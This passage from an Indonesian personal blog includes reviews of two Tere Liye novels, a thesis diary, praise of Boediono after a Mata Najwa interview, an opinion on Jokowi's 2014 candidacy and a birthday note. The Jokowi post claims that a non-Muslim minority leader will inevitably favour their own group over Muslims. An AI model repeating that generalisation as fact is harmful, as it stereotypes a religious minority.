dalam hidup kakak beradik itu. Mulai dari membelikan sepatu untuk mereka supaya bisa berlari ke sana kemari dengan nyaman, membiayai mereka untuk kembali bersekolah, memberi uang setiap bulan pada ibu mereka untuk kebutuhan sehari-hari. Singkat kata, pria itu telah membantu mengatasi kesulitan hidup mereka. Mereka yang tadinya hanya bisa tinggal di rumah kardus tanpa listrik kini sudah bisa menyewa sebuah kontrakan sederhana, bisa bersekolah dan belajar dengan baik. Mereka juga anak-anak yang cerdas. Setiap hari pria itu selalu mengunjungi mereka. Hingga suatu hari musibah menghampiri mereka, ibu yang mereka sayangi ternyata mengidap kanker stadium IV dan meninggal beberapa hari kemudian. Dari anak-anak yang riang mereka kembali menjadi anak yang pemurung. Namun hal itu tidak berlangsung lama karena pria itu selalu bisa membuat mereka kembali ceria dengan caranya sendiri. Menariknya adalah sang kakak yang bernama Tania ternyata diam-diam mulai menyukai malaikat penolong mereka, menyukai pria itu yang bernama Danar. Hingga semakin ia dewasa rasa cinta itu semakin mekar. Apalagi sejak Danar mengenalkan kekasihnya, Tania begitu dimakan cemburu. Sepeninggal ibunya, Tania mendapatkan beasiswa melanjutkan SMP di Singapura. Hingga bertahun-tahun setelahnya, ia juga mendapatkan beasiswa melanjutkan sampai ke jenjang kuliah di Singapura. Dan ia pun bekerja di sana. Dia anak yang amat berprestasi. Namun perasaan cintanya pada Danar sudah terlampau dalam, dia tidak pernah mau membuka hatinya untuk lawan jenis seumurnya. Dia tidak peduli dengan perbedaan usia 14 tahun antara dia dan Danar. Dia tidak peduli semuanya karena yang dia tahu bahwa dia mencintai Danar sepenuh hati.
Endingnya bagaimana? Jangan bayangkan jika buku ini akan berakhir happy ending seperti buku-buku novel kebanyakan. Mungkin ini juga yang membuat aku menyukai buku-buku karangan Tere Liye. Karena dia tidak pernah menjanjikan akhir cerita yang bahagia, akhir cerita yang diinginkan semua orang dimana pemeran utama pria dan wanita bersatu. Dia hanya menyuguhkan berdasarkan realita yang sering terjadi bahwa cinta tak selalu harus memiliki. Mungkin dari kalimatku itu kalian tahu bahwa mereka pada akhirnya tidak bersama walaupun setiap potongan teka-teki hidup Tania perlahan-lahan terjawab, ternyata Danar juga diam-diam menyukainya. Namun sampai akhir cerita ini penulis tidak mengatakan mengapa Danar kemudian memilih menikahi Ratna, wanita yang tidak dia cintai. 

Hanya saja penulis sempat menuliskan begini:
"Bagi pria, dan itu sama saja dengan kebanyakan wanita, menikah tidak selalu harus dengan seseorang yang kau cintai. Menikah adalah pilihan rasional. Berkeluarga untuk lelaki postmodern seperti dia tidak semata-mata urusan cinta-mencintai..."

Aku juga tak begitu mengerti apa maksudnya tapi mungkin kurang lebih adalah bahwa orang dewasa memiliki pemikiran yang jauh lebih luas daripada remaja. Orang dewasa tidak seimpulsif para remaja yang ketika dia menyukai seseorang maka harus buru-buru diungkapkan. Orang dewasa walau secinta apapun dia pada seseorang tetapi tetap berpikir rasional, tidak melulu mengedepankan perasaan. Bisa jadi dalam cerita ini, Danar memilih menikah dengan wanita lain karena tahu akan perbedaan usianya dan Tania yang terpaut jauh, mungkin juga ia takut jika ia mengutarakan perasaannya yang sebenarnya pada Tania akan membuat Tania serba salah atau menganggap harus membayar utang budi, atau bisa jadi karena ia melihat Tania tumbuh menjadi gadis yang cantik, pintar, dan dewasa sehingga dia tidak mau merusak kebahagiaan gadis itu dengan perasaannya. Mungkin ia ingin Tania bisa berpasangan dengan orang yang lebih baik darinya di kemudian hari. Atau mungkin ada ratusan bahkan ribuan alasan lain yang membuatnya bersikap demikian. Namun itulah orang dewasa dengan sejuta pemikirannya yang pelik dan sulit dimengerti. Namun lagi-lagi Tere Liye bisa membimbing dan mengajarkanku bahwa cinta tidak melulu harus memiliki. Dan untuk bahagia maka menikahlah dengan orang yang benar-benar mencintaimu, jangan menikah dengan orang yang tidak mencintai kita (para wanita) karena walau diluar kehidupan pernikahan tampak bahagia dan nyata namun sebenarnya hanya sebuah kamuflase yang mengelabui banyak orang. Karena pernikahan sekali seumur hidup, bukan masa pacaran singkat yang apabila sudah bosan maka dengan mudah bisa berkata putus dan meninggalkan. Maka pikirlah sedewasa dan sebijak mungkin sebelum memutuskan menikah karena pernikahan ideal bukan seperti pernikahan para selebriti kita yang baru setahun dua tahun menikah lalu bercerai. Menikah tak semudah itu, teman. Karena bukan hanya menyatukan dua hati, dua perbedaan, atau mungkin dua budaya, tapi juga menyatukan dua keluarga, menyatukan dua orang yang tadinya "aku, kamu" menjadi "kita atau kami". Pernikahan adalah berharap mendapat sakinah, mawaddah, dan warahmah. Aib suami menjadi aib istri jadi tidak seenaknya mengumbar aib suami sendiri pada orang lain. Kekurangan suami juga kekurangan istri. Jangan hanya mencintai kelebihannya tapi cintai juga kekurangannya. Pupuklah cinta itu agar mekar setiap hari, jangan hanya mekar setahun, lalu layu berpuluh tahun kemudian. Buku ini mengajarkan banyak hal bahwa ketika mencintai seseorang bersikaplah seperti daun, tidak peduli seberapa kencang angin meluruhkannya, ia merelakan dirinya luruh ke bumi, tak melawan, mengikhlaskannya, penerimaan yang indah.


          Sunset Bersama Rosie Karya Tere Liye   

Alhamdulillah, dua hari ini aku telah selesai membaca novel "Sunset Bersama Rosie" karangan Tere Liye. Akhir-akhir ini aku jadi keranjingan membaca buku lagi. Setelah beberapa tahun belakangan agak malas karena lebih sering menonton film baik Barat maupun Korea, dan lain-lain. Sebenarnya keinginan untuk membaca buku lagi bisa dibilang karena dorongan seringnya membuka fanpage fb nya Tere Liye. Dalam fanpage itu, dia selalu menuliskan kalimat-kalimat penuh inspiratif, kalimat-kalimat  pemuas dahaga, penyejuk kehidupan yang sarat makna, dia selalu punya cara menceritakan kisah-kisah dengan cara dan sudut pandang yang berbeda sehingga memberi pemahaman dan pengertian yang juga berbeda tentang hidup, tentang perasaan, dan tentang cinta. Dalam novel "Sunset Bersama Rosie" itu Tere Liye mengajak para pembaca terhanyut dalam alur cerita yang menarik, bahasa yang mudah dimengerti, dan memainkan emosi para pembaca sehingga ketika kita membaca buku itu, kita juga seakan ikut terhanyut dalam tiap adegan dalam cerita tersebut. Buku itu menceritakan tentang makna sebuah kesempatan. Tentang seorang pria bernama Tegar, yang sudah memendam perasaan cintanya selama dua puluh tahun pada gadis pujaan hatinya. Suatu ketika saat ia ingin memberanikan diri mengungkapkan perasaannya itu, dia pun mengajak pujaan hatinya, Rosie, mendaki Gunung Rinjani, Lombok. Tidak hanya pergi berdua, untuk mengurangi ketegangan apabila perasaannya ditolak, lelaki itupun mengajak sahabatnya, Nathan, ikut pergi menemani. Namun malang benar nasib lelaki itu, ternyata sahabatnya, Nathan_yang baru mengenal pujaan hatinya dua bulan belakangan_ juga menyukai Rosie. Dan hebatnya, sahabatnya telah lebih dulu menyatakan cinta pada gadis pujaannya itu dan mendapat respon positif dari gadis itu, yang merupakan sahabatnya dari kecil, sejak 20 tahun silam. Menyaksikan hal itu, Tegar yang baru sampai di puncaknya kembali turun terburu-buru tanpa sepengetahuan mereka. Ia pun menghilang pergi dan menjauh dari kehidupan mereka. Rasanya sungguh tidak adil, cintanya yang ia pendam selama 20 tahun pada sahabatnya itu kalah dengan waktu 2 bulannya Nathan mengenal Rosie. Hanya karena ia yang terlalu lama membiarkan kesempatan itu tak kunjung datang.
Selama kurang lebih enam tahun ia hidup dalam kebencian pada mereka, malam-malam penuh gelisah yang harus terus dilaluinya, ia juga bekerja selama 18 jam sehari di perusahaan untuk pelampiasan agar melupakan semua kejadian buruk itu. Dan hanya waktu yang mampu mengatasi pengalaman pahit itu, hanya dengan berdamailah maka ia bisa melewatinya. Hingga suatu ketika mereka datang lagi, gadis pujaan hatinya dan suaminya yang tak lain adalah sahabatnya dulu. Mereka datang mengunjungi apartemennya, tidak hanya itu, tetapi mereka juga membawa dua buah cinta mereka yang ceria dan riang. Dua malaikat kecil itulah yang sedikit demi sedikit mencairkan luka hatinya itu, kebenciannya pada mereka perlahan memudar karena kehadiran dua malaikat itu yang riang dan ceria. Cerita ini berlatar belakang di kota Lombok, tepatnya di Gili Trawangan. Di sini juga diselipkan kejadian bom Bali yang merenggut nyawa sahabatnya, Nathan. Kematian sahabatnya itu membuatnya meninggalkan acara pertunangannya dan meninggalkan kehidupannya yang super sibuk di Jakarta. Dia mulai menetap di Gili Trawangan dan mengurus resor milik keluarga Rosie dan juga mengurus anak-anak mereka. Sedangkan Rosie yang terlalu terluka karena ditinggal pergi Nathan mengalami depresi berat. Selama kurang lebih dua tahun harus menjalani rehabilitasi mental dan tinggal di shelter di Bali. Praktis, Tegar yang mengambil peran sebagai paman, om, ayah, ibu untuk mereka hingga ikatannya dengan anak-anak itu begitu kuat. Membaca novel ini, aku seperti ikut merasakan juga perasaan anak-anak itu yang kehilangan ayah mereka karena bom sialan itu. Bom yang mengatasnamakan jihad. Sungguh, Islam tidak mengajarkan hal keji seperti itu. Apalagi membunuh orang yang tidak bersalah. Dan jujur aku sedih sekali ketika bom dan teroris itu selalu dikaitkan dengan islam. Dari sini harusnya mereka belajar bahwa tidak seharusnya mereka melakukan perbuatan keji_membunuh orang asing dengan bom_dengan alasan jihad, apakah pernah terpikir bagaimana perasaan keluarga mereka yang ditinggalkan? Pernah merasakan bagaimana dampaknya pada masyarakat Bali saat itu? Turis-turis asing kembali ke kampung halamannya dan enggan ke Bali, pemasukan devisa berkurang, pemasukan warga setempat dari tempat-tempat wisata yang biasanya ramai dikunjungi turis jadi berkurang. Bisakah dihitung berapa banyak kerugian yang mereka dapatkan hanya karena alasan "jihad islam" yang salah kaprah. Belum lagi yang paling parah, luka trauma dan gangguan psikis yang mereka terima pasca kejadian itu. 
Baiklah, aku tidak ingin mengurai lebih jauh biarlah hati nurani yang menjawabnya sendiri.
Pada akhirnya cerita-cerita itu mengungkap misteri yang selama ini tersimpan. Kesempatan yang ia yakini tidak pernah ada untuknya sebenarnya bukannya tidak pernah ada tetapi justru dia yang tidak pernah memberi kesempatan itu ada. Di sini kita akan belajar pemahaman dan pengertian yang berbeda tentang makna kesempatan dan kehidupan. Tere liye selalu mampu memberikan motivasi dalam kalimat-kalimat yang dirangkainya. Rangkaian kalimatnya pun menggunakan bahasa yang indah dan enak dibaca serta mudah dipahami. Masih banyak lagi buku-buku karangannya yang lain seperti "Daun yang jatuh tak pernah membenci angin", "berjuta rasanya", "negeri para bedebah", "negeri diujung tanduk" dan banyak lainnya. Aku akan membaca semuanya, ditunggu ya cerita-ceritaku selanjutnya.

Beberapa kalimat yang aku suka dari novel ini, yaitu:

Selamat pagi.
Bagiku waktu selalu pagi. Diantara potongan dua puluh empat jam sehari, bagiku pagi adalah waktu paling indah. Ketika janji-janji baru muncul seiring embun menggelayut di ujung dedaunan. Ketika harapan-harapan baru merekah bersama kabut yang mengambang di persawahan hingga nun jauh di kaki pegunungan. Pagi, berarti satu hari yang melelahkan telah terlampaui lagi. Pagi, berarti satu malam dengan mimpi-mimpi yang menyesakkan terlewati lagi; malam-malam panjang, gerakan tubuh resah, kerinduan dan helaan napas tertahan.

          Skripsiiii, oh God :(   
Whoaaaaa, udah lama ya nggak mondar mandir di sini, kangeeeeeen banget nyemakin lagi blog saya ini hahaaa :)
Jadi ceritanya nih selama beberapa bulan ini saya lagi disibukkan dengan persoalan skripsi. Tau kan apa itu skripsi? Yup, skripsi adalah salah satu syarat utama bagi mahasiswa akhir kalau mau lulus dan dapat gelar sarjana. Nah, berhubung saya udah resmi jadi mahasiswa akhir yang mata kuliahnya tinggal skripsi jadi mau tidak mau, suka tidak suka, saya harus menjalaninya. Kalau nggak, maka saya akan menjadi mahasiswa abadi di kampus saya tercinta. Maka dari itu, beberapa bulan ke belakang saya jadi rajin ketemu dosen pembimbing, ke perpus sendiri bahkan saya sudah membuat kartu pustakanya juga, walaupun agak malu juga sih udah tiga tahun lebih di kampus baru sekarang saya buat kartunya, tapi itu lebih baik bukan daripada sampai jadi alumni tidak saya buat juga :D
Judul skripsinya sudah saya ajuin dari bulan desember, setelah beberapa judul ditolak dan hampir membuat saya putus asa, alhamdulillah awal Januari judul saya diterimaaaaaaaa. Senangnya bukan main, sejak itu saya jadi rajin banget nyusun proposalnya, rajin ke perpus, rajin ketemu dosennya, rajin revisi, sampai pada akhir Februari proposal saya di acc untuk naik seminar, yipiiiiie. Sebulan lebih saya digantung, hihiii, nungguin jadwal seminarnya yang nggak keluar-keluar juga tapi awal April baru deh dikabarin kalau tanggal 17 (kalau nggak salah) saya dijadwalkan seminar. Alhamdulillah, akhirnyaaaa. Dan berita gembiranya dosen pengkajinya adalah dosen yang membimbing proposal saya selama ini. Beliau baiiiiiiiiiik banget, banyak memberi pengarahan buat saya, ngasih banyak masukan juga, jadi bayangan soal dosen-dosen pengkaji yang killer enggak saya alami :)
Pada hari seminar itu, saya cemas bukan main, perut saya kayak mules plus diaduk-aduk gitu, cemas juga nungguin nama saya dipanggil maju. Ternyata nama saya dipanggil kedua paling terakhir, lamaaaa but its okaaay :) alhamdulillah juga judulnya nggak perlu diganti, ada beberapa hal yang harus direvisi yaitu di bagian daftar pustaka disuruh gabungin antara buku dan situs internet, lalu disuruh pertajam di bab 2 nya dan tekniknya diubah.
Judul skripsi saya yaitu "Perilaku Pengguna Samsung Galaxy dan Pengaruh Perilakunya terhadap Interaksi Sosial Mahasiswa". Kenapa saya mau meneliti soal itu sebenarnya karena saya melihat fenomena sekarang banyak orang yang suka memotret makanan atau minuman yang akan dimakan, memotret aktivitasnya, memotret dirinya sendiri atau biasa disebut selfie, memotret barang-barang koleksinya lalu dibagikan di media sosial instagram atau path. Orang-orang juga sekarang tiap ngumpul sibuk dengan smartphonenya sendiri. Nah, perubahan perilaku itu yang mau saya teliti. Karena setiap teknologi baru pasti menyebabkan perubahan pada orang-orang yang menggunakannya. Jadi saya mau tahu perubahan perilaku para pengguna smartphone itu apa aja dan saya coba kaitkan dengan interaksi sosial si penggunanya. Kalau si pengguna kecanduan smartphone pasti dia jadi sibuk sendiri dg smartphonenya dan mengabaikan orang-orang di sekitarnya misal waktu temannya ngajak ngobrol malah dia cuekin atau misal lagi ngumpul sama temennya dia sibuk sama smartphonenya tapi tiba-tiba malah ketawa sendiri. Hal-hal kayak gitu udah sering saya lihat sih, bahkan kadang saya juga ngelakuinnya makanya saya pengen tahu lebih jauh perilaku penggunanya itu apa aja dan gimana pengaruh perilakunya itu terhadap interaksi sosialnya. 
Beruntungnya saya, selama proses penyusunan ini selalu ada yang mengawasi yaitu mamak dan kakak. Mereka nggak berhenti nanyain bagaimana perkembangan revisi skripsinya. Tiap saya malas-malasan sambil menonton dan berhenti merevisi skripsi pasti mamak langsung menegur dan melarang saya menonton terlalu banyak. Kadang bikin tertekan juga tapi saya tau itu semua mereka lakukan untuk kebaikan saya. Buat orangtua saya, pendidikan nomor satu, nggak boleh malas-malas, harus belajar, berusaha, nggak boleh manja dan harus mandiri. Tapi jangan bayangin mamak saya sosok ibu yang judes atau suka marah-marah. Enggak loh, baik banget malah, bahkan sampai umur segini saya masih ngobrol dengan mamak saya layaknya anak usia 10 tahun, masih manja-manjaan, saling becanda, tidur bareng, curhat semua yang saya alami, nggak ada hal yang bisa saya tutupi dari mamak atau kakak karena memang saya orangnya terbuka. Berita senang, sedih, semuanya saya bagi sama mereka dan cuma mereka yang tahu gimana aslinya saya yang mungkin nggak pernah dibayangkan orang-orang. Cuma sama mereka saya bisa menunjukkan sisi kanak-kanak saya yang manja dan cengeng, ya cuma sama mereka. Yang pasti saya beruntung dan bersyukur sekali punya keluarga seperi mereka yang selalu mendukung saya untuk terus maju. Satu kesamaan antara saya, kakak dan mamak adalah kita nggak pernah nyinggung soal pacaran atau nikah setelah sarjana nanti, mereka malah mendukung saya buat lanjut kuliah S2 atau nyari kerja di tempat yang saya mau. Begitu juga dengan bapak, semua keputusan sepenuhnya ditangan saya, tidak ada tekanan apapun, just do it. Yang pasti saya baru akan menikah ketika saya sudah benar-benar mandiri dan punya penghasilan sendiri karena saya nggak mau jika setelah menikah nanti saya masih meminta-minta uang pada orangtua saya. Saya pengen ngasih anything untuk kedua orangtua saya. Saya juga pengen banget ngajak kedua orangtua saya umroh. Apalagi mamak rinduuuu banget pengen ke tanah suci lagi, semoga suatu saat harapan saya diijabah oleh Allah SWT. 
Soal jodoh juga saya serahkan pada-Nya karena saya percaya siapapun orang yang Dia takdirkan menjadi jodoh saya adalah jodoh terbaik dari-Nya untuk saya. Amin 😇

Ini nih foto-foto hari saya seminar proposal skripsi :)







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Malam semuanya...
Malam ini aku mau ngebahas tentang bapak wapres kita, Boediono, yang sangat jarang sekali terekspos media. Jika berbicara soal Boediono, orang-orang pasti akan mengaitkan dengan kasus Bank Century, dan sampai saat ini kasus itu masih ramai diperbincangkan di media. Rabu kemarin, matanajwa mengundang bapak Boediono spesial dengan topiknya malam itu "Dibalik Diam Boediono".   Berkat acara tersebutlah, masyarakat jadi lebih mengenal sosok Boediono yang sebenarnya sangat sederhana, santun, dan pendiam. Beliau bukan seorang politisi yang sangat memperdulikan pencitraan. Beliau malah tidak suka jika apa yang ia lakukan dieskpos oleh media. Dan lucunya negeri kita ini adalah orang-orang yang tidak terekspos media dianggap tidak melakukan apa-apa, karena popularitasnya kalah dnegan para politisi yang malang-melintang di televisi maupun surat kabar. Pernah suatu kali pak Boediono dan Jokowi pergi blusukan ke salah satu sekolah, lucunya murid-murid di sekolah itu justru mengelu-elukan Jokowi, meneriakkan nama Jokowi keras-keras, seakan-akan tak ada sosok Boediono di situ. Tapi melihat hal itu tidak membuat Boediono sedih atau kecewa tetapi dia justru tertawa lebar dan menampakkan raut wajah bahagia. Kemudian Najwa menanyakan padanya tentang hal itu, mengapa ia tetap tertawa padahal popularitasnya kalah dibanding Jokowi. "Ya Jokowi memang bukan lawan saya dalam kepopuleran. Saya tdk terganggu" ucap Boediono. Ia mengatakan bahwa popularitasnya memang kalah jauh dengan Jokowi karena dia memang tidak mencari popularitas, apa yang ia lakukan semuanya murni pengabdiannya untuk bangsa dan negara, bukan untuk pencitraan atau agar dielu-elukan masyarakat. Salah seorang bawahannya mengatakan dia sering menawarkan pada Boediono untuk mengundang wartawan saat sedang menjalankan tugas-tugasnya sebagai wapres, tetapi Boediono menolak, dia tidak mau dieskpos oleh media. 
 “Dari dulu saya tidak mengejar popularitas. Yg ingin dikejar adalah apa yang saya ingin laksanakan di hati saya.” Kata Boediono.
Mendengar itu saya terharu dan speechless. Ditengah para politisi yang saat ini sibuk melakukan pencitraan untuk merebut hati masyarakat, Boediono justru menolak tawaran untuk diekspos media. Karena hal ini saya kemudian berpikir, Jokowi baru beberapa bulan menjabat sebagai Gubernur tetapi popularitasnya terus meningkat, hal ini tidak lepas karena peran wartawan yang selalu mengikutinya kemana-mana, seakan-akan Jokowi memiliki wartawan pribadi yang terus mengikutinya kemanapun. Jokowi naik ojek diberitakan, Jokowi makan makanan pinggir jalan diberitakan, seakan dirinya tak punya kehidupan pribadi yang tidak terekspos media. Padahal kenyataannya banyak pejabat yang melakukan banyak untuk rakyat tetapi karena tidak pernah diekspos di media jadi orang-orang menganggap ia tak melakukan apa-apa. Lucu ya negeri kita ini :)
Boediono sosok yang sangat sederhana, malam itu saya benar-benar sedih dan terharu. Orang baik seperti dia diberitakan yang buruk, sedangkan orang yang hobinya PENCITRAAN DI MEDIA justru dielu-elukan dan dianggap super hero. 
Salah seorang ajudan Boediono mengatakan beberapa waktu lalu pak Boediono berangkat haji dengan keluarganya menaiki pesawat milik negara, dan beliau memerintahkan bawahannya itu untuk menghitung seluruh biaya tersebut, termasuk biaya parkir pesawat selama berada di sana, dan dia bayar semuanya dengan uangnya pribadi, dan uang tersebut kemudian dimasukkan ke dalam kas negara. Karena kata beliau haji itu kan ibadah saya dan keluarga jadi uang yang digunakan juga harus uang sendiri.  “Waktu naik haji, sebenarnya disediakan pesawat kepresidenan dan ditanggung negara. Tapi Beliau bayar dengan uang pribadi.” Ucap M. Oemar. Ia melanjutkan, " “Tidak hanya bayar tiket pesawat, tapi bahkan ongkos parkirnya pun diganti dengan uang pribadinya.” 
Speechless, hari gini sangaaaaaaat jarang ada pejabat yang sejujur dan sebaik ini :( 
Kemudian, pernah lagi suatu ketika saat Boediono bepergian ke luar negeri, beliau kekurangan beberapa singlet (dalaman) lalu beliau menyuruh bawahannyan untuk membelikannya beberapa singlet. Sesampainya di Indonesia, Boediono memanggil bawahannya itu dan menanyakan berapa biaya yang dia keluarkan untuk membeli singlet-singlet tersebut, uangnya dibayar kembali oleh Boediono.  “Pernah suatu hari kunjungan ke LN, harus beli beberapa singlet. Beliau ganti dengan uang pribadi. Sangat ketat pisahkan soal-soal begini.” Kata M.Oemar.
Super yaaa pak Boediono ini :)
Pernah juga suatu kali Boediono harus menghadiri acara di luar kota. Ternyata dalam acara itu para tamu yang hadir harus memakai pakaian batik, lalu Boediono memakai batik yang sama persis seperti batik yang dipakai para pegawai hotel tempatnya menginap. "Beliau pernah beli batik sederhana di toko dalam hotel, untuk acara resmi. Ternyata itu batik seragam pegawai hotel.” Chatib Basri. 
Walaupun beliau seorang wapres tetapi beliau tidak malu memakai seragam batik hotel agar bisa hadir dalam acara tersebut. Sangat sederhana :)
Sahabat Boediono mengatakan jika disuruh mendeskripsikan orang baik di dunia itu seperti apa ya jawabannya seperti pak Boediono itu jawabannnya.
 “Kalau saya ditanya definisi org baik itu siapa, saya akan jawab Boediono. Saya katakan itu dari hati saya.” Abdillah Toha
Bahkan pihak matanajwa membutuhkan waktu setahun untuk meyakinkan Boediono agar hadir di acara tersebut. Kalau pejabat lain pasti akan sangat senang sekali bisa diundang ke matanajwa (hitung-hitung pencitraan gratis) tapi Boediono justru memilih untuk datang ke matanajwa saat masa jabatannya hampir habis. Wow!!! I love you, Pak Boediono :)
Saat ditanya soal sosok Boediono dulu dan sekarang pada istrinya, istrinya menjawab, “Dia (Boediono) tetap sama dari dulu sampai sekarang. Lugu dan tidak romantis.” Lalu saat ditanya apa yang dipelajari istrinya dari seorang Boediono, ini jawabannya, “Pelajaran tentang kesederhanaan dan memisahkan mana yang hak dan mana yang bukan.” 

Acara matanajwa emang keren banget, selalu menampilkan sesuatu yang lain, sesuatu yang tidak biasa. Matanajwa selalu menampilkan sesuatu yang berbeda ibaratnya matanajwa bisa melihat apa yang tak mampu kita lihat. Berkat matanajwa jugalah orang-orang jadi tahu sosok seperti apa sebenarnya Boediono. Sosok yang sederhana, rendah hati, santun, apa adanya, dan jujur :) semangat terus pak Boediono, kebaikan memang nggak perlu diumbar supaya dielu-elukan orang, karena ada Tuhan yang maha tahu apa yang kita lakukan, cukup dia yang mengetahui kebaikan-kebaikan yang Anda lakukan, karena balasannya pasti di akhirat nanti. Semoga semakin banyak orang-orang seperti Boediono. Boediono memberi harapan pada kita bahwa masih banyak sebenarnya para pejabat yang baik dan jujur, Indonesia tidak seburuk yang terlihat dilayar kaca televisi Anda :)

Konklusi Matanajwa:
1. Pak Boed lama bersama kekuasaan, dalam makna lain telah memberi pengabdian.
2. Dia mungkin contoh yang sempurna, pejabat nonpolitik yang relatif diterima.
3. Sebagai wapres dia tahu diri, berada di gelanggang sebagai pengganti.
4. Kini dia menjadi samsak amuk politik, akibat bank gagal berdampak
sistemik.
5. Ada yang menudingnya miskin terobosan, hanya karena Pak Boed taat aturan.
6. Dia bukan bintang liputan media, meski bukan berarti sedikit bekerja.
7. Selamanya kita bisa belajar dari dirinya, laku keseimbangan yang terjaga.
8. Berwibawa tanpa banyak kata, lama berkuasa namun tetap hidup sederhana.
9. Dia teknokrat yang santun dalam batasan, menyeimbangkan peran & atasan.
10. Bekerja dalam dingin rasionalitas angka, paham distorsi pasar dan negara.
11. Pak boed terpuji karena laku sederhana, merintis jalan menuju negeri sejahtera, meski ia tak sepenuhnya berkuasa.
12. Dalam berkecamuk belenggu para politisi, Boediono contoh pekerja yang memilih sunyi.

          Jokowi Nyapres, Sedih atau Senang?   
Mungkin ini adalah berita yang ditunggu-tunggu oleh semua orang bahwa hari ini Jokowi resmi menerima keputusan Megawati untuk menjadi capres 2014 dari PDIP.  Ada tiga mandat yang diamanahkan Megawati kepada Joko Widodo melalui surat perintah yang ditulis tangannya sendiri.
Berikut ini adalah tiga mandat dalam surat perintah harian tersebut:
"Perintah Harian: Merdeka!"
"Saya, selaku Ketua Umum Partai Demokrasi Indonesia Perjuangan; kepada seluruh rakyat Indonesia yang mempunyai mata hati, keadilan, dan kejujuran di mana pun kalian berada!

1. Dukung Bapak Joko Widodo sebagai calon presiden dari Partai Demokrasi Indonesia Perjuangan.

2. Jaga dan amankan jalannya pemilu legislatif terutama di TPS-TPS dan proses penghitungan yang berjalan dari segala bentuk kecurangan dan intimidasi.

3. Teguh dan tegarkan hati dalam mengawal demokrasi di Republik Indonesia tercinta.

"Pesan harian dari Ibu Ketua Umum ini kami harap disebarkan pada seluruh rakyat Indonesia," ujar Puan saat membacakan surat tersebut. (Sumber: AntaraNews)

Aku nggak tahu harus senang atau sedih membaca berita ini. Jujur saja, aku sangat menyukai karakter Jokowi yang santun, rendah diri, dan kebiasaannya yang suka blusukan. Tetapi aku tidak menyangka jika Jokowi akan menerima mandat yang diperintahkan Ketua Umum PDIP, Megawati, untuk mencalonkan diri sebagai calon presiden 2014. Mengingat ia baru beberapa bulan menjabat sebagai Gubernur DKI. Apalagi setiap kali ditanya oleh media selama ini terkait pencalonannya sebagai presiden, dia selalu menolak, dia mengatakan ingin fokus mengurus Jakarta dulu, ingin fokus mengurus masalah banjir dulu. Tapi sekarang tiba-tiba dia memutuskan menuruti perintah Mega, tentunya hal ini menuai pro dan kontra. Persoalan pertama adalah, Itu menandakan bahwa Jokowi tidak konsisten dengan kata-katanya sebelumnya yang tidak mau mencalonkan diri sebagai presiden. Kedua, jika sekarang ia mau maka itu artinya ia tipe orang yang bisa disetir oleh atasan. Manut sama semua perintah pimpinan, yang artinya kalaupun nantinya dia terpilih sebagai presiden 2014, bukan tidak mungkin jika segala kebijakan dan keputusan yang diambil akan dipengaruhi atau diatur oleh orang yang menyetirnya. Jokowi memang tipikal pemimpin yang patut dicontoh yaitu suka blusukan dan apa adanya. Dua hal ini adalah hal yang sangat jarang dimiliki oleh para pejabat tinggi. Tetapi dari apa yang saya lihat selama ini, Jokowi bukan tipe pemimpin yang bisa memberikan suatu inovasi atau memiliki gebrakan atau ide-ide brilian dalam menyelesaikan sebuah permasalahan. Buktinya sampai hari ini Jakarta masih tetap banjir. Mengapa saya katakan demikian? Kemarin malam pada tayangan matanajwa diperlihatkan bupati Bantaeng. Dia berhasil mengubah Bantaeng yang dulunya bukan apa-apa tetapi sekarang menjadi salah satu daerah yang sangat indah. Dulu permasalahan yang dihadapi daerah itu adalah masalah banjir, tapi dengan ide briliannya, pak bupati membuat sebuah inovasi bagaimana menampung air dikala hujan dan mengalirkannya kembali di saat kemarau datang. Inovasi itu yang akhirnya merubah Bantaeng yang tadinya sebuah daerah yang rawan banjir menjadi daerah bebas banjir. Nah ini yang saya maksud tidak dimiliki oleh Jokowi. Dia memang baik, santun, blusukan, merakyat, tapi menjadi RI 1 atau seorang presiden dibutuhkan orang yang lebih dari sekedar blusukan, tetapi mampu memberi inovasi dan gebrakan untuk menyelesaikan setiap permasalahan yang ada. Apalagi menjadi presiden yang akan dihadapi adalah orang-orang yang jauh lebih berat lagi. Orang baik seperti Jokowi bisa saja tergelincir. Di sisi lain, coba kita sedikit melihat pada warga muslim Jakarta. Apa yang akan mereka dapatkan jika Jokowi terpilih menjadi presiden dan mereka harus dipimpin oleh non-muslim? Masih ada Jokowi sebagai gubernur saja kebutuhan mereka mulai terpinggirkan, apalagi jika tidak ada lagi Jokowi? Bukan berarti Ahok tidak bagus, namun ketika minoritas memimpin mayoritas maka hal itu akan membuat ketimpangan karena sebaik apapun minoritas tentu dia akan lebih memperjuangkan kaumnya sendiri. Dan ada satu kalimat yang selalu dikatakan Ahok bahwa Indonesia bukan negara Islam tetapi sekuler. Jadi coba kita bayangkan bagaimana nasib saudara-saudara muslim kita di Jakarta? Wallahualam, semoga Tuhan memberikan yang terbaik, siapapun pemimpinnya semoga bisa membawa Indonesia kepada kemajuan dan ke arah lebih baik. Yang pasti jangan ada di antara kita yang GOLPUT. Karena ketika kita golput, itu artinya kita membiarkan orang yang salah untuk menjadi pemimpin. Ingat bahwa nasib bangsa Indonesia, nasib perekonomian, masa depan Indonesia, harga bahan pokok, bahan bakar, semua ada pada pemilihan april mendatang. Karena pemimpin yang akan menentukan arah bangsa, kemajuan dan kemunduran ditentukan oleh keputusan-keputusannya. Selamat malam :)


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          Happy birthday   
Hari ini kak Mena ulangtahun yang ke-24. Tepat jam 12 malam aku memberikan surprise kue ulangtahun dan kado untuknya. Dia sempat kaget karena lupa kalau hari ini tanggal 24 februari 2014. Happy birthday to you, happy birthday to you, happy birthday, happy birthday, happy birthday to youuuu. 
